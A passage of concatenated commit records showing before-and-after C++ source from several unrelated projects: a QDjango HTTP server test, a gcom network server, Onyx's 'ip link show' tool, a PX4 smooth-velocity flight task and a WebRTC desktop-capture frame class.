"/" << QByteArray("bob=wiz&message=bar&zoo=wow") << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/|post=bar"); } void tst_QDjangoHttpServer::testPost() { QFETCH(QString, path); QFETCH(QByteArray, data); QFETCH(int, err); QFETCH(QByteArray, body); QNetworkAccessManager network; QNetworkRequest req(QUrl(QLatin1String("http://127.0.0.1:8123") + path)); req.setRawHeader("Content-Type", "application/x-www-form-urlencoded"); QNetworkReply *reply = network.post(req, data); QEventLoop loop; QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit())); loop.exec(); QVERIFY(reply); QCOMPARE(int(reply->error()), err); QCOMPARE(reply->readAll(), body); delete reply; } QDjangoHttpResponse *tst_QDjangoHttpServer::_q_index(const QDjangoHttpRequest &request) { QDjangoHttpResponse *response = new QDjangoHttpResponse; response->setHeader(QLatin1String("Content-Type"), QLatin1String("text/plain")); QString output = QLatin1String("method=") + request.method(); output += QLatin1String("|path=") + request.path(); const QString getValue = request.get(QLatin1String("message")); if (!getValue.isEmpty()) output += QLatin1String("|get=") + getValue; const QString postValue = request.post(QLatin1String("message")); if (!postValue.isEmpty()) output += QLatin1String("|post=") + postValue; response->setBody(output.toUtf8()); return response; } QDjangoHttpResponse *tst_QDjangoHttpServer::_q_error(const QDjangoHttpRequest &request) { Q_UNUSED(request); return QDjangoHttpController::serveInternalServerError(request); } QTEST_MAIN(tst_QDjangoHttpServer) #include "tst_qdjangohttpserver.moc" <commit_msg>fix internal server test with Qt >= 5.3.0<commit_after>/* * Copyright (C) 2010-2014 Jeremy Lainé * Contact: https://github.com/jlaine/qdjango * * This file is part of the QDjango Library. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. */ #include <QNetworkAccessManager> #include <QNetworkReply> #include <QNetworkRequest> #include <QtTest> #include <QUrl> #include "QDjangoHttpController.h" #include "QDjangoHttpRequest.h" #include "QDjangoHttpResponse.h" #include "QDjangoHttpServer.h" #include "QDjangoUrlResolver.h" /** Test QDjangoHttpServer class. */ class tst_QDjangoHttpServer : public QObject { Q_OBJECT private slots: void cleanupTestCase(); void initTestCase(); void testGet_data(); void testGet(); void testPost_data(); void testPost(); QDjangoHttpResponse* _q_index(const QDjangoHttpRequest &request); QDjangoHttpResponse* _q_error(const QDjangoHttpRequest &request); private: QDjangoHttpServer *httpServer; }; void tst_QDjangoHttpServer::cleanupTestCase() { delete httpServer; } void tst_QDjangoHttpServer::initTestCase() { httpServer = new QDjangoHttpServer; httpServer->urls()->set(QRegExp(QLatin1String(QLatin1String("^$"))), this, "_q_index"); httpServer->urls()->set(QRegExp(QLatin1String("^internal-server-error$")), this, "_q_error"); QCOMPARE(httpServer->listen(QHostAddress::LocalHost, 8123), true); } void tst_QDjangoHttpServer::testGet_data() { QTest::addColumn<QString>("path"); QTest::addColumn<int>("err"); QTest::addColumn<QByteArray>("body"); const QString errorTemplate = QLatin1String( "<html>" "<head><title>Error</title></head>" "<body><p>%1</p></body>" "</html>"); #if (QT_VERSION >= QT_VERSION_CHECK(5, 3, 0)) int internalServerError = int(QNetworkReply::InternalServerError); #else int internalServerError = int(QNetworkReply::UnknownContentError); #endif QTest::newRow("root") << "/" << int(QNetworkReply::NoError) << QByteArray("method=GET|path=/"); QTest::newRow("query-string") << "/?message=bar" << int(QNetworkReply::NoError) << QByteArray("method=GET|path=/|get=bar"); QTest::newRow("not-found") << "/not-found" << int(QNetworkReply::ContentNotFoundError) << errorTemplate.arg(QLatin1String("The document you requested was not found.")).toUtf8(); QTest::newRow("internal-server-error") << "/internal-server-error" << internalServerError << errorTemplate.arg(QLatin1String("An internal server error was encountered.")).toUtf8(); } void tst_QDjangoHttpServer::testGet() { QFETCH(QString, path); QFETCH(int, err); QFETCH(QByteArray, body); QNetworkAccessManager network; QNetworkReply *reply = network.get(QNetworkRequest(QUrl(QLatin1String("http://127.0.0.1:8123") + path))); QEventLoop loop; QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit())); loop.exec(); QVERIFY(reply); QCOMPARE(int(reply->error()), err); QCOMPARE(reply->readAll(), body); delete reply; } void tst_QDjangoHttpServer::testPost_data() { QTest::addColumn<QString>("path"); QTest::addColumn<QByteArray>("data"); QTest::addColumn<int>("err"); QTest::addColumn<QByteArray>("body"); QTest::newRow("empty") << "/" << QByteArray() << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/"); QTest::newRow("simple") << "/" << QByteArray("message=bar") << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/|post=bar"); QTest::newRow("multi") << "/" << QByteArray("bob=wiz&message=bar&zoo=wow") << int(QNetworkReply::NoError) << QByteArray("method=POST|path=/|post=bar"); } void tst_QDjangoHttpServer::testPost() { QFETCH(QString, path); QFETCH(QByteArray, data); QFETCH(int, err); QFETCH(QByteArray, body); QNetworkAccessManager network; QNetworkRequest req(QUrl(QLatin1String("http://127.0.0.1:8123") + path)); req.setRawHeader("Content-Type", "application/x-www-form-urlencoded"); QNetworkReply *reply = network.post(req, data); QEventLoop loop; QObject::connect(reply, SIGNAL(finished()), &loop, SLOT(quit())); loop.exec(); QVERIFY(reply); QCOMPARE(int(reply->error()), err); QCOMPARE(reply->readAll(), body); delete reply; } QDjangoHttpResponse *tst_QDjangoHttpServer::_q_index(const QDjangoHttpRequest &request) { QDjangoHttpResponse *response = new QDjangoHttpResponse; response->setHeader(QLatin1String("Content-Type"), QLatin1String("text/plain")); QString output = QLatin1String("method=") + request.method(); output += QLatin1String("|path=") + request.path(); const QString getValue = request.get(QLatin1String("message")); if (!getValue.isEmpty()) output += QLatin1String("|get=") + getValue; const QString postValue = request.post(QLatin1String("message")); if (!postValue.isEmpty()) output += QLatin1String("|post=") + postValue; response->setBody(output.toUtf8()); return response; } QDjangoHttpResponse *tst_QDjangoHttpServer::_q_error(const QDjangoHttpRequest &request) { Q_UNUSED(request); return QDjangoHttpController::serveInternalServerError(request); } QTEST_MAIN(tst_QDjangoHttpServer) #include "tst_qdjangohttpserver.moc" <|endoftext|>
<commit_before>/************************************************************************************ ** * @copyright (c) 2013-2100, ChengDu Duyer Technology Co., LTD. All Right Reserved. * *************************************************************************************/ /** * @file g_network_server.cpp * @version * @brief * @author duye * @date 2014-10-07 * @note * * 1. 2014-10-07 duye Created this file * */ #include <g_network_server.h> namespace gcom { NetworkServer::NetworkServer() {} NetworkServer::~NetworkServer() {} } <commit_msg>Update g_network_server.cpp<commit_after>/************************************************************************************ ** * @copyright (c) 2013-2100, ChengDu Duyer Technology Co., LTD. All Right Reserved. * *************************************************************************************/ /** * @file g_network_server.cpp * @version * @brief * @author duye * @date 2014-10-07 * @note * * 1. 2014-10-07 duye Created this file * */ #include <g_network_server.h> namespace gcom { NetworkServer::NetworkServer() {} NetworkServer::NetworkServer(const IPPortPair& server_addr, const std::string& net_card = "eth0") : m_serverAddr(server_addr) , m_netCard(net_card) {} NetworkServer::~NetworkServer() {} void NetworkServer::addInterface(NetworkServerInterface* interface) { gsys::AutoLock auto_lock(m_interfaceList.mutex()); InterfaceList::iterator iter = m_interfaceList.begin(); for (; iter != m_interfaceList.end(); ++iter) { if (interface == *iter) { return; } } m_interfaceList.push_back(interface); } void NetworkServer::removeInterface(NetworkServerInterface* interface) { gsys::AutoLock auto_lock(m_interfaceList.mutex()); InterfaceList::iterator iter = m_interfaceList.begin(); for (; iter != m_interfaceList.end(); ++iter) { if (*iter == interface) { m_interfaceList.erase(iter); break; } } } const IPPortPair& NetworkServer::getServerAddr() const { return m_serverAddr; } const std::string NetworkServer::getNetCard() const { return m_netCard; } GResult NetworkServer::run() { return routine(); } } <|endoftext|>
<commit_before>/* * Copyright (c) 2021 Pedro Falcato * This file is part of Onyx, and is released under the terms of the MIT License * check LICENSE at the root directory for more information */ #include <object.h> #include <sys/socket.h> #include <unistd.h> #include <cstring> #include <onyx/public/netkernel.h> #include <libonyx/unique_fd.h> namespace iptools { namespace link { int link_show(const char **argv, int argc); int link_help(const char **argv, int argc); static command commands[] = {{"show", link_show}, {"help", link_help}}; class link_object : public object { public: link_object() : object("link") { } std::span<command> get_commands() const override { return {commands, sizeof(commands) / sizeof(commands[0])}; } }; static link_object link_obj_; int link_help(const char **argv, int argc) { std::printf("Usage: \tip link help\n" " \tip link show\n"); return 0; } int link_show(const char **argv, int argc) { onx::unique_fd fd{socket(AF_NETKERNEL, SOCK_STREAM, 0)}; if (fd.get() < 0) { std::perror("Error creating netkernel socket"); return 1; } sockaddr_nk addr; addr.nk_family = AF_NETKERNEL; std::strcpy(addr.path, "netif.netif_table"); netkernel_hdr msg; msg.msg_type = NETKERNEL_MSG_NETIF_GET_NETIFS; msg.flags = 0; msg.size = sizeof(netkernel_hdr); if (sendto(fd.get(), (const void *) &msg, sizeof(msg), 0, (const sockaddr *) &addr, sizeof(addr)) < 0) { std::perror("netkernel error"); return 1; } netkernel_get_nifs_response resp; if (recv(fd.get(), &resp, sizeof(resp), 0) < 0) { std::perror("netkernel error"); return 1; } if (resp.hdr.msg_type != NETKERNEL_MSG_NETIF_GET_NETIFS) { std::perror("netkernel error"); return 1; } for (unsigned int i = 0; i < resp.nr_ifs; i++) { netkernel_get_nif_interface nif; if (recv(fd.get(), &nif, sizeof(nif), 0) < 0) { std::perror("netkernel error"); return 1; } std::printf("Interface %s, index %u\n", nif.iface, nif.if_index); } return 0; } } // namespace link } // namespace iptools object *link_obj = &iptools::link::link_obj_; <commit_msg>ip/link: Add ip link show<commit_after>/* * Copyright (c) 2021 - 2022 Pedro Falcato * This file is part of Onyx, and is released under the terms of the MIT License * check LICENSE at the root directory for more information * * SPDX-License-Identifier: MIT */ #include <net/if.h> #include <net/if_arp.h> #include <object.h> #include <sys/socket.h> #include <unistd.h> #include <cstring> #include <utility> #include <onyx/public/netkernel.h> #include <libonyx/unique_fd.h> namespace iptools { namespace link { int link_show(const char **argv, int argc); int link_help(const char **argv, int argc); static command commands[] = {{"show", link_show}, {"help", link_help}}; class link_object : public object { public: link_object() : object("link") { } std::span<command> get_commands() const override { return {commands, sizeof(commands) / sizeof(commands[0])}; } }; static link_object link_obj_; int link_help(const char **argv, int argc) { std::printf("Usage: \tip link help\n\n" " \tip link show [DEVICE] [up]\n"); return 0; } std::pair<short, std::string> if_flag_symbols[] = { {IFF_UP, "UP"}, {IFF_BROADCAST, "BROADCAST"}, {IFF_DEBUG, "DEBUG"}, {IFF_LOOPBACK, "LOOPBACK"}, {IFF_POINTOPOINT, "POINTOPOINT"}, {IFF_NOTRAILERS, "NOTRAILERS"}, {IFF_RUNNING, "RUNNING"}, {IFF_NOARP, "NOARP"}, {IFF_PROMISC, "PROMISC"}, {IFF_ALLMULTI, "ALLMULTI"}, {IFF_MASTER, "MASTER"}, {IFF_SLAVE, "SLAVE"}, }; void print_mac_address(sockaddr &sa) { std::printf("%02x:%02x:%02x:%02x:%02x:%02x", (unsigned char) sa.sa_data[0], (unsigned char) sa.sa_data[1], (unsigned char) sa.sa_data[2], (unsigned char) sa.sa_data[3], (unsigned char) sa.sa_data[4], (unsigned char) sa.sa_data[5]); } int link_show(const char **argv, int argc) { std::string wanted_device; bool only_up = false; for (int i = 0; i < argc; i++) { if (!strcmp(argv[i], "up")) only_up = true; else { if (!wanted_device.empty()) { std::fprintf(stderr, "Error: either \"dev\" is duplicate, or \"%s\" is garbage\n", argv[i]); return 1; } wanted_device = argv[i]; } } onx::unique_fd fd{socket(AF_NETKERNEL, SOCK_STREAM, 0)}; if (fd.get() < 0) { std::perror("Error creating netkernel socket"); return 1; } sockaddr_nk addr; addr.nk_family = AF_NETKERNEL; std::strcpy(addr.path, "netif.netif_table"); netkernel_hdr msg; msg.msg_type = NETKERNEL_MSG_NETIF_GET_NETIFS; msg.flags = 0; msg.size = sizeof(netkernel_hdr); if (sendto(fd.get(), (const void *) &msg, sizeof(msg), 0, (const sockaddr *) &addr, sizeof(addr)) < 0) { std::perror("netkernel error"); return 1; } netkernel_get_nifs_response resp; if (recv(fd.get(), &resp, sizeof(resp), 0) < 0) { std::perror("netkernel error"); return 1; } if (resp.hdr.msg_type != NETKERNEL_MSG_NETIF_GET_NETIFS) { std::perror("netkernel error"); return 1; } for (unsigned int i = 0; i < resp.nr_ifs; i++) { netkernel_nif_interface nif; if (recv(fd.get(), &nif, sizeof(nif), 0) < 0) { std::perror("netkernel error"); return 1; } if (only_up && !(nif.if_flags & IFF_UP)) continue; if (!wanted_device.empty() && std::string(nif.if_name) != wanted_device) continue; std::string flags = "<"; for (auto &f : if_flag_symbols) { if (nif.if_flags & f.first) { if (flags.length() != 1) flags += ", "; flags += f.second; nif.if_flags &= ~f.first; } } if (nif.if_flags != 0) { // Support unknown flags by simply blitting them if (flags.length() != 1) flags += ", "; char buf[20]; std::snprintf(buf, 20, "0x%x", nif.if_flags); flags += std::string(buf); } flags += ">"; std::printf("%u: %s %s mtu %u\n", nif.if_index, nif.if_name, flags.c_str(), nif.if_mtu); std::string linktype; switch (nif.if_hwaddr.sa_family) { case ARPHRD_ETHER: { linktype = "ether"; break; } case ARPHRD_LOOPBACK: { linktype = "loopback"; break; } default: { char buf[40]; std::snprintf(buf, 40, "0x%x", nif.if_hwaddr.sa_family); linktype = std::string(buf); } } std::printf(" link/%s ", linktype.c_str()); // Now print the address and broadcast addr // Note: We're only printing 6-len addresses a-la MAC print_mac_address(nif.if_hwaddr); std::printf(" brd "); print_mac_address(nif.if_brdaddr); std::printf("\n"); } return 0; } } // namespace link } // namespace iptools object *link_obj = &iptools::link::link_obj_; <|endoftext|>
<commit_before>/**************************************************************************** * * Copyright (c) 2018 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include "FlightTaskManualPositionSmoothVel.hpp" #include <mathlib/mathlib.h> #include <float.h> using namespace matrix; bool FlightTaskManualPositionSmoothVel::activate() { bool ret = FlightTaskManualPosition::activate(); reset(Axes::XYZ); return ret; } void FlightTaskManualPositionSmoothVel::reActivate() { // The task is reacivated while the vehicle is on the ground. To detect takeoff in mc_pos_control_main properly // using the generated jerk, reset the z derivatives to zero reset(Axes::XYZ, true); } void FlightTaskManualPositionSmoothVel::reset(Axes axes, bool force_z_zero) { int count; switch (axes) { case Axes::XY: count = 2; break; case Axes::XYZ: count = 3; break; default: count = 0; break; } // TODO: get current accel for (int i = 0; i < count; ++i) { _smoothing[i].reset(0.f, _velocity(i), _position(i)); } // Set the z derivatives to zero if (force_z_zero) { _smoothing[2].reset(0.f, 0.f, _position(2)); } _position_lock_xy_active = false; _position_lock_z_active = false; _position_setpoint_xy_locked(0) = NAN; _position_setpoint_xy_locked(1) = NAN; _position_setpoint_z_locked = NAN; } void FlightTaskManualPositionSmoothVel::_updateSetpoints() { /* Get yaw setpont, un-smoothed position setpoints.*/ FlightTaskManualPosition::_updateSetpoints(); /* Update constraints */ _smoothing[0].setMaxAccel(MPC_ACC_HOR_MAX.get()); _smoothing[1].setMaxAccel(MPC_ACC_HOR_MAX.get()); _smoothing[0].setMaxVel(_constraints.speed_xy); _smoothing[1].setMaxVel(_constraints.speed_xy); if (_velocity_setpoint(2) < 0.f) { // up _smoothing[2].setMaxAccel(MPC_ACC_UP_MAX.get()); _smoothing[2].setMaxVel(_constraints.speed_up); } else { // down _smoothing[2].setMaxAccel(MPC_ACC_DOWN_MAX.get()); _smoothing[2].setMaxVel(_constraints.speed_down); } float jerk[3] = {_jerk_max.get(), _jerk_max.get(), _jerk_max.get()}; /* Check for position unlock * During a position lock -> position unlock transition, we have to make sure that the velocity setpoint * is continuous. We know that the output of the position loop (part of the velocity setpoint) will suddenly become null * and only the feedforward (generated by this flight task) will remain. This is why the previous input of the velocity controller * is used to set current velocity of the trajectory. */ Vector2f sticks_expo_xy = Vector2f(&_sticks_expo(0)); if (sticks_expo_xy.length() > FLT_EPSILON) { if (_position_lock_xy_active) { _smoothing[0].setCurrentVelocity(_velocity_setpoint_feedback( 0)); // Start the trajectory at the current velocity setpoint _smoothing[1].setCurrentVelocity(_velocity_setpoint_feedback(1)); _position_setpoint_xy_locked(0) = NAN; _position_setpoint_xy_locked(1) = NAN; } _position_lock_xy_active = false; } if (fabsf(_sticks_expo(2)) > FLT_EPSILON) { if (_position_lock_z_active) { _smoothing[2].setCurrentVelocity(_velocity_setpoint_feedback( 2)); // Start the trajectory at the current velocity setpoint _position_setpoint_z_locked = NAN; } _position_lock_z_active = false; } for (int i = 0; i < 3; ++i) { _smoothing[i].setMaxJerk(jerk[i]); _smoothing[i].updateDurations(_deltatime, _velocity_setpoint(i)); } VelocitySmoothing::timeSynchronization(_smoothing, 2); // Synchronize x and y only if (_position_lock_xy_active) { // Check if a reset event has happened. if (_sub_vehicle_local_position->get().xy_reset_counter != _reset_counter) { // Reset the XY axes _smoothing[0].setCurrentPosition(_position(0)); _smoothing[1].setCurrentPosition(_position(1)); _reset_counter = _sub_vehicle_local_position->get().xy_reset_counter; } } if (!_position_lock_xy_active) { _smoothing[0].setCurrentPosition(_position(0)); _smoothing[1].setCurrentPosition(_position(1)); } if (!_position_lock_z_active) { _smoothing[2].setCurrentPosition(_position(2)); } Vector3f pos_sp_smooth; for (int i = 0; i < 3; ++i) { _smoothing[i].integrate(_acceleration_setpoint(i), _vel_sp_smooth(i), pos_sp_smooth(i)); _velocity_setpoint(i) = _vel_sp_smooth(i); // Feedforward _jerk_setpoint(i) = _smoothing[i].getCurrentJerk(); } // Check for position lock transition if (Vector2f(_vel_sp_smooth).length() < 0.01f && Vector2f(_acceleration_setpoint).length() < .2f && sticks_expo_xy.length() <= FLT_EPSILON) { _position_setpoint_xy_locked(0) = pos_sp_smooth(0); _position_setpoint_xy_locked(1) = pos_sp_smooth(1); _position_lock_xy_active = true; } if (fabsf(_vel_sp_smooth(2)) < 0.01f && fabsf(_acceleration_setpoint(2)) < .2f && fabsf(_sticks_expo(2)) <= FLT_EPSILON) { _position_setpoint_z_locked = pos_sp_smooth(2); _position_lock_z_active = true; } _position_setpoint(0) = _position_setpoint_xy_locked(0); _position_setpoint(1) = _position_setpoint_xy_locked(1); _position_setpoint(2) = _position_setpoint_z_locked; } <commit_msg>ManualSmoothVel - Split position lock condition and flag action<commit_after>/**************************************************************************** * * Copyright (c) 2018 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include "FlightTaskManualPositionSmoothVel.hpp" #include <mathlib/mathlib.h> #include <float.h> using namespace matrix; bool FlightTaskManualPositionSmoothVel::activate() { bool ret = FlightTaskManualPosition::activate(); reset(Axes::XYZ); return ret; } void FlightTaskManualPositionSmoothVel::reActivate() { // The task is reacivated while the vehicle is on the ground. To detect takeoff in mc_pos_control_main properly // using the generated jerk, reset the z derivatives to zero reset(Axes::XYZ, true); } void FlightTaskManualPositionSmoothVel::reset(Axes axes, bool force_z_zero) { int count; switch (axes) { case Axes::XY: count = 2; break; case Axes::XYZ: count = 3; break; default: count = 0; break; } // TODO: get current accel for (int i = 0; i < count; ++i) { _smoothing[i].reset(0.f, _velocity(i), _position(i)); } // Set the z derivatives to zero if (force_z_zero) { _smoothing[2].reset(0.f, 0.f, _position(2)); } _position_lock_xy_active = false; _position_lock_z_active = false; _position_setpoint_xy_locked(0) = NAN; _position_setpoint_xy_locked(1) = NAN; _position_setpoint_z_locked = NAN; } void FlightTaskManualPositionSmoothVel::_updateSetpoints() { /* Get yaw setpont, un-smoothed position setpoints.*/ FlightTaskManualPosition::_updateSetpoints(); /* Update constraints */ _smoothing[0].setMaxAccel(MPC_ACC_HOR_MAX.get()); _smoothing[1].setMaxAccel(MPC_ACC_HOR_MAX.get()); _smoothing[0].setMaxVel(_constraints.speed_xy); _smoothing[1].setMaxVel(_constraints.speed_xy); if (_velocity_setpoint(2) < 0.f) { // up _smoothing[2].setMaxAccel(MPC_ACC_UP_MAX.get()); _smoothing[2].setMaxVel(_constraints.speed_up); } else { // down _smoothing[2].setMaxAccel(MPC_ACC_DOWN_MAX.get()); _smoothing[2].setMaxVel(_constraints.speed_down); } float jerk[3] = {_jerk_max.get(), _jerk_max.get(), _jerk_max.get()}; /* Check for position unlock * During a position lock -> position unlock transition, we have to make sure that the velocity setpoint * is continuous. We know that the output of the position loop (part of the velocity setpoint) will suddenly become null * and only the feedforward (generated by this flight task) will remain. This is why the previous input of the velocity controller * is used to set current velocity of the trajectory. */ Vector2f sticks_expo_xy = Vector2f(&_sticks_expo(0)); if (sticks_expo_xy.length() > FLT_EPSILON) { if (_position_lock_xy_active) { _smoothing[0].setCurrentVelocity(_velocity_setpoint_feedback( 0)); // Start the trajectory at the current velocity setpoint _smoothing[1].setCurrentVelocity(_velocity_setpoint_feedback(1)); _position_setpoint_xy_locked(0) = NAN; _position_setpoint_xy_locked(1) = NAN; } _position_lock_xy_active = false; } if (fabsf(_sticks_expo(2)) > FLT_EPSILON) { if (_position_lock_z_active) { _smoothing[2].setCurrentVelocity(_velocity_setpoint_feedback( 2)); // Start the trajectory at the current velocity setpoint _position_setpoint_z_locked = NAN; } _position_lock_z_active = false; } for (int i = 0; i < 3; ++i) { _smoothing[i].setMaxJerk(jerk[i]); _smoothing[i].updateDurations(_deltatime, _velocity_setpoint(i)); } VelocitySmoothing::timeSynchronization(_smoothing, 2); // Synchronize x and y only if (_position_lock_xy_active) { // Check if a reset event has happened. if (_sub_vehicle_local_position->get().xy_reset_counter != _reset_counter) { // Reset the XY axes _smoothing[0].setCurrentPosition(_position(0)); _smoothing[1].setCurrentPosition(_position(1)); _reset_counter = _sub_vehicle_local_position->get().xy_reset_counter; } } if (!_position_lock_xy_active) { _smoothing[0].setCurrentPosition(_position(0)); _smoothing[1].setCurrentPosition(_position(1)); } if (!_position_lock_z_active) { _smoothing[2].setCurrentPosition(_position(2)); } Vector3f pos_sp_smooth; for (int i = 0; i < 3; ++i) { _smoothing[i].integrate(_acceleration_setpoint(i), _vel_sp_smooth(i), pos_sp_smooth(i)); _velocity_setpoint(i) = _vel_sp_smooth(i); // Feedforward _jerk_setpoint(i) = _smoothing[i].getCurrentJerk(); } // Check for position lock transition if (Vector2f(_vel_sp_smooth).length() < 0.01f && Vector2f(_acceleration_setpoint).length() < .2f && sticks_expo_xy.length() <= FLT_EPSILON) { _position_lock_xy_active = true; } if (fabsf(_vel_sp_smooth(2)) < 0.01f && fabsf(_acceleration_setpoint(2)) < .2f && fabsf(_sticks_expo(2)) <= FLT_EPSILON) { _position_lock_z_active = true; } // Set valid position setpoint while in position lock. // When the position lock condition above is false, it does not // mean that the unlock condition is true. This is why // we are checking the lock flag here. if (_position_lock_xy_active) { _position_setpoint_xy_locked(0) = pos_sp_smooth(0); _position_setpoint_xy_locked(1) = pos_sp_smooth(1); } if (_position_lock_z_active) { _position_setpoint_z_locked = pos_sp_smooth(2); } _position_setpoint(0) = _position_setpoint_xy_locked(0); _position_setpoint(1) = _position_setpoint_xy_locked(1); _position_setpoint(2) = _position_setpoint_z_locked; } <|endoftext|>
<commit_before>/* * Copyright (c) 2017 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "webrtc/modules/desktop_capture/win/dxgi_frame.h" #include <string.h> #include <utility> #include "webrtc/modules/desktop_capture/desktop_frame.h" #include "webrtc/modules/desktop_capture/win/dxgi_duplicator_controller.h" #include "webrtc/rtc_base/checks.h" #include "webrtc/rtc_base/logging.h" namespace webrtc { DxgiFrame::DxgiFrame(SharedMemoryFactory* factory) : factory_(factory) {} DxgiFrame::~DxgiFrame() = default; bool DxgiFrame::Prepare(DesktopSize size, DesktopCapturer::SourceId source_id) { if (source_id != source_id_) { // Once the source has been changed, the entire source should be copied. source_id_ = source_id; context_.Reset(); } if (resolution_tracker_.SetResolution(size)) { // Once the output size changed, recreate the SharedDesktopFrame. frame_.reset(); resolution_tracker_.Reset(); } if (!frame_) { std::unique_ptr<DesktopFrame> frame; if (factory_) { frame = SharedMemoryDesktopFrame::Create(size, factory_); } else { frame.reset(new BasicDesktopFrame(size)); } if (!frame) { LOG(LS_WARNING) << "DxgiFrame cannot create a new DesktopFrame."; return false; } // DirectX capturer won't paint each pixel in the frame due to its one // capturer per monitor design. So once the new frame is created, we should // clear it to avoid the legacy image to be remained on it. See // http://crbug.com/708766. RTC_DCHECK_EQ(frame->stride(), frame->size().width() * DesktopFrame::kBytesPerPixel); memset(frame->data(), 0, frame->stride() * frame->size().height()); frame_ = SharedDesktopFrame::Wrap(std::move(frame)); } return !!frame_; } SharedDesktopFrame* DxgiFrame::frame() const { RTC_DCHECK(frame_); return frame_.get(); } DxgiFrame::Context* DxgiFrame::context() { RTC_DCHECK(frame_); return &context_; } } // namespace webrtc <commit_msg>Do not reset resolution_tracker_ in DxgiFrame::PrepareFrame()<commit_after>/* * Copyright (c) 2017 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "webrtc/modules/desktop_capture/win/dxgi_frame.h" #include <string.h> #include <utility> #include "webrtc/modules/desktop_capture/desktop_frame.h" #include "webrtc/modules/desktop_capture/win/dxgi_duplicator_controller.h" #include "webrtc/rtc_base/checks.h" #include "webrtc/rtc_base/logging.h" namespace webrtc { DxgiFrame::DxgiFrame(SharedMemoryFactory* factory) : factory_(factory) {} DxgiFrame::~DxgiFrame() = default; bool DxgiFrame::Prepare(DesktopSize size, DesktopCapturer::SourceId source_id) { if (source_id != source_id_) { // Once the source has been changed, the entire source should be copied. source_id_ = source_id; context_.Reset(); } if (resolution_tracker_.SetResolution(size)) { // Once the output size changed, recreate the SharedDesktopFrame. frame_.reset(); } if (!frame_) { std::unique_ptr<DesktopFrame> frame; if (factory_) { frame = SharedMemoryDesktopFrame::Create(size, factory_); } else { frame.reset(new BasicDesktopFrame(size)); } if (!frame) { LOG(LS_WARNING) << "DxgiFrame cannot create a new DesktopFrame."; return false; } // DirectX capturer won't paint each pixel in the frame due to its one // capturer per monitor design. So once the new frame is created, we should // clear it to avoid the legacy image to be remained on it. See // http://crbug.com/708766. RTC_DCHECK_EQ(frame->stride(), frame->size().width() * DesktopFrame::kBytesPerPixel); memset(frame->data(), 0, frame->stride() * frame->size().height()); frame_ = SharedDesktopFrame::Wrap(std::move(frame)); } return !!frame_; } SharedDesktopFrame* DxgiFrame::frame() const { RTC_DCHECK(frame_); return frame_.get(); } DxgiFrame::Context* DxgiFrame::context() { RTC_DCHECK(frame_); return &context_; } } // namespace webrtc <|endoftext|>
